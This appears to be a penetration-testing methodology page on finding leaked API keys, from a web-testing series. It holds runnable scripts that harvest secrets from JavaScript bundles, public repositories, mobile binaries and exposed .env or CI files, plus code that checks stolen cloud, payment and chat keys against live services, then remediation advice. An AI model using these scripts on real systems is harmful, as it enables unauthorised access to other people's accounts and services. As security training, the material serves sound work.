API Key Leakage
Severity: High–Critical | CWE: CWE-312, CWE-200, CWE-522 OWASP: A02:2021 – Cryptographic Failures | A09:2021 – Security Logging Failures
What Is API Key Leakage?
API keys, tokens, secrets, and credentials exposed through unintended channels — JavaScript bundles, git history, HTTP responses, mobile app binaries, environment variables in public CI logs, and configuration files. Unlike authentication token theft, API key leakage is passive: the credential is simply read from a public source.
Key distinction: API keys often have broader or different privileges than user session tokens — they may provide direct access to third-party services (AWS, Stripe, Twilio, SendGrid, Google Maps) without any session or CSRF protection.
Common leakage sources:
JS bundle: window.STRIPE_KEY = "sk_live_XXXX" ← live secret key
.env in git: AWS_SECRET_ACCESS_KEY=XXXX committed to public repo
CI logs: Printed during test run: export SLACK_TOKEN=xoxb-...
HTTP response: {"debug":{"database_url":"postgres://user:pass@host/db"}}
APK resource: api_key="AIzaSy..." in res/values/strings.xml
Referrer: https://api.service.com?key=LIVE_KEY_IN_URL
Discovery Checklist
Phase 1 — JavaScript Bundle Analysis
- Download all JS files from target application
- Search for common key patterns:
sk_live_,pk_live_,AIzaSy,AKIA,xoxb-,SG.,ghp_,glpat- - Look for environment variable patterns:
process.env.,window.__env__,config.apiKey - Check source maps (
.js.map) — full source exposure - Check minified code for hardcoded string patterns
Phase 2 — Version Control History
- Search public GitHub repos:
org:targetortarget.com - Search git history of any open-source components used by target
- Check
.env,.env.example,config.js,settings.py,application.propertiesin repos - Search commit messages for “credentials”, “keys”, “secret”, “token”
Phase 3 — Response Analysis
- Check API error responses for internal service URLs with embedded credentials
- Check debug mode responses:
/api?debug=true, Actuator/env - Check HTTP response headers for leaked tokens
- Check
Refererheader leakage if keys are in URLs
Payload Library
Payload 1 — JavaScript Bundle Secret Extraction
#!/usr/bin/env python3
"""
Extract API keys and secrets from JavaScript bundles
"""
import re, requests, sys
from urllib.parse import urljoin
TARGET = "https://target.com"
# Common API key patterns:
PATTERNS = {
# Generic:
"Generic High-Entropy": r'["\']([A-Za-z0-9_\-]{32,64})["\']',
# AWS:
"AWS Access Key ID": r'AKIA[0-9A-Z]{16}',
"AWS Secret Key": r'["\']([0-9a-zA-Z/+]{40})["\']', # context-dependent
# Stripe:
"Stripe Secret Key": r'sk_live_[0-9a-zA-Z]{24,}',
"Stripe Publishable Key": r'pk_live_[0-9a-zA-Z]{24,}',
# Google:
"Google API Key": r'AIzaSy[0-9A-Za-z\-_]{33}',
"Google OAuth": r'[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com',
# Slack:
"Slack Bot Token": r'xoxb-[0-9]{11}-[0-9]{11}-[0-9a-zA-Z]{24}',
"Slack User Token": r'xoxp-[0-9]{11}-[0-9]{11}-[0-9]{11}-[0-9a-f]{32}',
"Slack Webhook": r'https://hooks\.slack\.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}',
# SendGrid:
"SendGrid API Key": r'SG\.[a-zA-Z0-9_\-]{22}\.[a-zA-Z0-9_\-]{43}',
# GitHub:
"GitHub Token": r'ghp_[0-9a-zA-Z]{36}',
"GitHub App Token": r'ghs_[0-9a-zA-Z]{36}',
"GitHub OAuth Token": r'gho_[0-9a-zA-Z]{36}',
# GitLab:
"GitLab Token": r'glpat-[0-9a-zA-Z\-_]{20}',
# Twilio:
"Twilio Account SID": r'AC[a-zA-Z0-9]{32}',
"Twilio Auth Token": r'SK[a-zA-Z0-9]{32}',
# Firebase:
"Firebase": r'AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}',
# Mapbox:
"Mapbox Token": r'pk\.eyJ1Ijoi[A-Za-z0-9_-]{50,}',
# Mailchimp:
"Mailchimp API Key": r'[0-9a-f]{32}-us[0-9]{1,2}',
# Generic Passwords:
"Password in Config": r'(?:password|passwd|pwd|secret|token|api_key|apikey|access_key)\s*[:=]\s*["\']([^"\']{8,})["\']',
"Connection String": r'(?:mongodb|mysql|postgres|postgresql|redis|mssql|sqlserver)://[^\s"\'<>]{10,}',
"Bearer Token": r'Bearer\s+[A-Za-z0-9\-._~+/]{20,}={0,2}',
# Private Keys:
"RSA Private Key": r'-----BEGIN RSA PRIVATE KEY-----',
"Private Key": r'-----BEGIN PRIVATE KEY-----',
"PEM Certificate": r'-----BEGIN CERTIFICATE-----',
}
def get_js_files(base_url):
"""Extract all JS file URLs from homepage"""
r = requests.get(base_url, timeout=10)
js_urls = re.findall(r'(?:src)=["\']([^"\']*\.js[^"\']*)["\']', r.text)
return [urljoin(base_url, url) for url in js_urls]
def scan_content(content, source):
"""Scan text content for API key patterns"""
findings = []
for name, pattern in PATTERNS.items():
matches = re.findall(pattern, content)
for match in matches:
if isinstance(match, tuple):
match = match[0] # Take first group
# Filter out obvious false positives:
if len(match) < 8 or match in ['undefined', 'null', 'true', 'false']:
continue
findings.append((name, match, source))
return findings
# Scan main page:
r = requests.get(TARGET, timeout=10)
findings = scan_content(r.text, TARGET)
# Scan JS files:
js_files = get_js_files(TARGET)
for js_url in js_files[:20]: # Limit to first 20
try:
js = requests.get(js_url, timeout=10).text
findings.extend(scan_content(js, js_url))
except: pass
# Check source maps:
for js_url in js_files[:5]:
map_url = js_url + ".map"
try:
r = requests.get(map_url, timeout=5)
if r.status_code == 200:
findings.extend(scan_content(r.text, f"[SOURCEMAP] {map_url}"))
except: pass
# Display results:
seen = set()
for name, value, source in findings:
key = (name, value[:20])
if key not in seen:
seen.add(key)
print(f"\n[!!!] {name}")
print(f" Value: {value[:80]}{'...' if len(value) > 80 else ''}")
print(f" Found in: {source[:100]}")
Payload 2 — GitHub Dorking for Leaked Credentials
# GitHub search for API keys belonging to target:
# Searches (via GitHub.com search or GitHub API):
# 1. Search by company name + key patterns:
# site:github.com "target.com" "api_key" OR "secret" OR "password"
# site:github.com "target.com" "sk_live_" OR "AKIA" OR "SG."
# GitHub API search (requires GitHub token):
python3 << 'EOF'
import requests, time
GH_TOKEN = "YOUR_GITHUB_TOKEN"
HEADERS = {"Authorization": f"token {GH_TOKEN}",
"Accept": "application/vnd.github.v3.text-match+json"}
search_queries = [
'target.com password filename:.env',
'target.com apikey filename:config',
'target.com secret_key extension:py',
'target.com AKIA language:js',
'sk_live_ target.com',
'"https://api.target.com" Authorization',
'target.com db_password extension:properties',
]
for query in search_queries:
url = f"https://api.github.com/search/code?q={requests.utils.quote(query)}&per_page=5"
r = requests.get(url, headers=HEADERS)
if r.status_code == 200:
results = r.json()
total = results.get('total_count', 0)
if total > 0:
print(f"\n[{total} results] {query}")
for item in results.get('items', [])[:3]:
print(f" {item['html_url']}")
time.sleep(10) # GitHub rate limiting
EOF
# truffleHog — scan repos for secrets:
pip3 install trufflehog
trufflehog github --org TARGET_ORG --only-verified
trufflehog github --repo https://github.com/target/repo --only-verified
trufflehog git file://. --only-verified # local repo
# gitleaks — scan git history:
gitleaks detect --source=. -v
gitleaks detect --source=. --log-opts="--all" -v # full history including deleted commits
# Scan specific repo git history:
git clone https://github.com/target/public-repo
cd public-repo
gitleaks detect -v
# Also check deleted branches, force-pushed commits:
git log --all --oneline | head -50
git diff HEAD~10 HEAD # look at recent large changes
Payload 3 — Validate and Test Found Keys
#!/usr/bin/env python3
"""
Validate discovered API keys against their respective APIs
"""
import requests
def validate_aws(access_key, secret_key):
"""Test AWS credentials using GetCallerIdentity"""
import hmac, hashlib, datetime
# Use boto3 for simplicity:
try:
import boto3
from botocore.exceptions import ClientError, NoCredentialsError
client = boto3.client('sts',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
region_name='us-east-1')
identity = client.get_caller_identity()
print(f"[!!!] VALID AWS KEY!")
print(f" Account: {identity['Account']}")
print(f" UserID: {identity['UserId']}")
print(f" ARN: {identity['Arn']}")
return True
except Exception as e:
print(f"[ ] AWS key invalid: {str(e)[:100]}")
return False
def validate_stripe(key):
"""Test Stripe API key"""
r = requests.get("https://api.stripe.com/v1/charges?limit=1",
auth=(key, ""))
if r.status_code == 200:
print(f"[!!!] VALID STRIPE KEY: {key[:15]}...")
data = r.json()
print(f" Charges accessible: {len(data.get('data', []))}")
return True
else:
print(f"[ ] Stripe key invalid: {r.status_code}")
return False
def validate_sendgrid(key):
"""Test SendGrid API key"""
r = requests.get("https://api.sendgrid.com/v3/user/profile",
headers={"Authorization": f"Bearer {key}"})
if r.status_code == 200:
profile = r.json()
print(f"[!!!] VALID SENDGRID KEY!")
print(f" Email: {profile.get('email')}")
print(f" Account: {profile.get('company')}")
return True
print(f"[ ] SendGrid key invalid: {r.status_code}")
return False
def validate_slack(token):
"""Test Slack token"""
r = requests.post("https://slack.com/api/auth.test",
headers={"Authorization": f"Bearer {token}"})
data = r.json()
if data.get("ok"):
print(f"[!!!] VALID SLACK TOKEN!")
print(f" Team: {data.get('team')}")
print(f" User: {data.get('user')}")
return True
print(f"[ ] Slack token invalid: {data.get('error')}")
return False
def validate_github(token):
"""Test GitHub token"""
r = requests.get("https://api.github.com/user",
headers={"Authorization": f"token {token}"})
if r.status_code == 200:
data = r.json()
print(f"[!!!] VALID GITHUB TOKEN!")
print(f" User: {data.get('login')}")
print(f" Name: {data.get('name')}")
# Check scopes:
scopes = r.headers.get('X-OAuth-Scopes', 'unknown')
print(f" Scopes: {scopes}")
return True
print(f"[ ] GitHub token invalid: {r.status_code}")
return False
def validate_google_maps(key):
"""Test Google Maps API key"""
r = requests.get(f"https://maps.googleapis.com/maps/api/geocode/json?address=1600+Amphitheatre+Parkway&key={key}")
data = r.json()
if data.get("status") == "OK":
print(f"[!!!] VALID GOOGLE MAPS KEY: {key[:20]}...")
return True
elif data.get("status") == "REQUEST_DENIED":
print(f"[ ] Google Maps key: REQUEST_DENIED (may be IP-restricted)")
return False
def validate_firebase(key):
"""Test Firebase/GCM push notification key"""
r = requests.post("https://fcm.googleapis.com/fcm/send",
headers={"Authorization": f"key={key}",
"Content-Type": "application/json"},
json={"to": "INVALID_TOKEN_FOR_TESTING"})
if r.status_code != 401:
print(f"[!!!] POSSIBLE VALID FIREBASE KEY: {r.status_code} → {r.text[:100]}")
return True
print(f"[ ] Firebase key: UNAUTHORIZED")
return False
# Test found keys:
found_keys = {
"aws_access": "AKIA...",
"aws_secret": "...",
"stripe_key": "sk_live_...",
"sendgrid": "SG....",
"slack": "xoxb-...",
"github": "ghp_...",
"google_maps": "AIzaSy...",
}
print("[*] Validating discovered keys...")
validate_aws(found_keys["aws_access"], found_keys["aws_secret"])
validate_stripe(found_keys["stripe_key"])
validate_sendgrid(found_keys["sendgrid"])
validate_slack(found_keys["slack"])
validate_github(found_keys["github"])
validate_google_maps(found_keys["google_maps"])
Payload 4 — Mobile App Binary Key Extraction
# Android APK:
apktool d target.apk -o target_decoded/
# Search for API key patterns:
grep -rE 'AIzaSy[0-9A-Za-z_-]{33}|AKIA[0-9A-Z]{16}|sk_live_[0-9a-z]{24}' \
target_decoded/ --include="*.xml" --include="*.json" --include="*.properties"
# String resources (common place for keys):
cat target_decoded/res/values/strings.xml | grep -i "key\|token\|secret\|api"
# gradle.properties / local.properties:
find target_decoded -name "*.properties" -exec grep -H "key\|token\|secret" {} \;
# Smali code search:
grep -r "const-string" target_decoded/smali/ | \
grep -iE 'AKIA|sk_live|AIzaSy|SG\.' | head -20
# iOS IPA:
unzip target.ipa -d target_ipa/
strings target_ipa/Payload/App.app/App | \
grep -E 'AKIA|sk_live|AIzaSy|SG\.|xoxb-|ghp_' | sort -u
# Search plist files:
find target_ipa -name "*.plist" -exec plutil -p {} \; 2>/dev/null | \
grep -iE 'key|token|secret|password|api'
# Frida — extract keys from memory at runtime:
frida -U -l - com.target.app << 'EOF'
// Hook common key storage methods:
Java.perform(function() {
// SharedPreferences:
var sp = Java.use("android.content.SharedPreferences$Editor");
sp.putString.implementation = function(key, value) {
if (value && value.length > 10) {
console.log("[SharedPrefs] " + key + " = " + value.substring(0, 80));
}
return this.putString(key, value);
};
});
EOF
Payload 5 — CI/CD and Cloud Provider Log Scanning
# Check public CI logs for leaked secrets:
# GitHub Actions logs are public for public repos
# Check Travis CI public builds:
curl -s "https://api.travis-ci.org/repos/target_org/target_repo/builds" \
-H "Travis-API-Version: 3" | python3 -c "
import sys, json
builds = json.load(sys.stdin)
for build in builds.get('builds', [])[:5]:
print(build.get('id'), build.get('state'), build.get('started_at'))
"
# Then: check build logs for printed environment variables
# Wayback Machine for leaked CI config files:
curl -s "http://web.archive.org/cdx/search/cdx?url=target.com/.travis.yml&output=json&fl=original,timestamp" | \
python3 -m json.tool
# Common exposed CI config files:
for path in ".travis.yml" ".circleci/config.yml" "Jenkinsfile" ".github/workflows" \
"bitbucket-pipelines.yml" ".gitlab-ci.yml" "azure-pipelines.yml"; do
status=$(curl -s -o /tmp/ci_file -w "%{http_code}" "https://target.com/$path")
[ "$status" = "200" ] && echo "[!!!] CI config exposed: $path" && cat /tmp/ci_file | \
grep -iE 'secret|token|password|key|cred'
done
# Check package.json, pyproject.toml, etc. for embedded keys:
curl -s "https://target.com/package.json" | \
python3 -m json.tool 2>/dev/null | grep -i "key\|token\|secret"
# .env files in common locations:
for envfile in ".env" ".env.production" ".env.local" ".env.example" \
"config/.env" "backend/.env" "api/.env" "server/.env"; do
status=$(curl -s -o /tmp/env_file -w "%{http_code}" "https://target.com/$envfile")
[ "$status" = "200" ] && echo "[!!!] .env exposed: $envfile" && \
grep -v "^#" /tmp/env_file | grep "=" | grep -v "^$"
done
Tools
# truffleHog — comprehensive secret scanner:
pip3 install trufflehog
trufflehog github --org TARGET_ORG --only-verified --concurrency=5
trufflehog git https://github.com/target/repo
# gitleaks — git history secret scanner:
gitleaks detect --source=/path/to/repo -v --report-format json -o leaks.json
gitleaks detect --source=. --log-opts="--all --full-history" -v
# detect-secrets — baseline secret detection:
pip3 install detect-secrets
detect-secrets scan . > .secrets.baseline
# semgrep — custom pattern matching for secrets:
semgrep --config=auto . --include="*.js" --include="*.ts" --include="*.py"
# nuclei — secret detection templates:
nuclei -target https://target.com -t exposures/tokens/ -t exposures/configs/
# gitrob — GitHub organization secret scanner:
gitrob analyze TARGET_ORG
# Extract secrets from JS with jsluice:
go install github.com/BishopFox/jsluice/cmd/jsluice@latest
curl -s https://target.com/static/app.js | jsluice secrets
# AWS key permission enumeration (after finding AKIA key):
# aws-whoami:
pip3 install aws-enumerate
aws sts get-caller-identity --access-key-id AKIA... --secret-access-key ...
# Enumerate AWS permissions:
git clone https://github.com/andresriancho/enumerate-iam
python3 enumerate_iam.py --access-key AKIA... --secret-key ...
# Google API key scope tester:
# Test which APIs the leaked key can access:
for api in "maps.googleapis.com/maps/api/geocode/json?address=test" \
"www.googleapis.com/oauth2/v1/userinfo" \
"www.googleapis.com/calendar/v3/calendars/primary"; do
r=$(curl -s "https://$api&key=FOUND_KEY" -w "\n%{http_code}")
echo "$api → $(echo $r | tail -1)"
done
Remediation Reference
- Never hardcode secrets: use environment variables, secrets managers (AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager), or runtime injection — never store secrets in source code
- Pre-commit hooks: install
gitleaksordetect-secretsas git pre-commit hooks — block commits containing secret patterns - Rotate immediately on discovery: treat any leaked API key as fully compromised — revoke and rotate immediately, then audit logs for unauthorized usage
- Secrets in frontend are public: anything in JavaScript that runs in the browser is publicly readable — use server-side API calls for sensitive operations, expose only public/scoped keys to frontend
- Source maps: do not serve
.js.mapfiles in production — they expose full source including any hardcoded values - Environment separation: use different API keys for development, staging, and production — a leaked dev key should not grant production access
- Key scoping: use the minimum-privilege key for each use case — read-only keys for read-only operations; webhook signing keys separate from admin keys
- Monitor for key usage: AWS CloudTrail, Stripe Dashboard, GitHub audit log — alert on unusual geographic location, volume, or API operations for any API key
Part of the Web Application Penetration Testing Methodology series.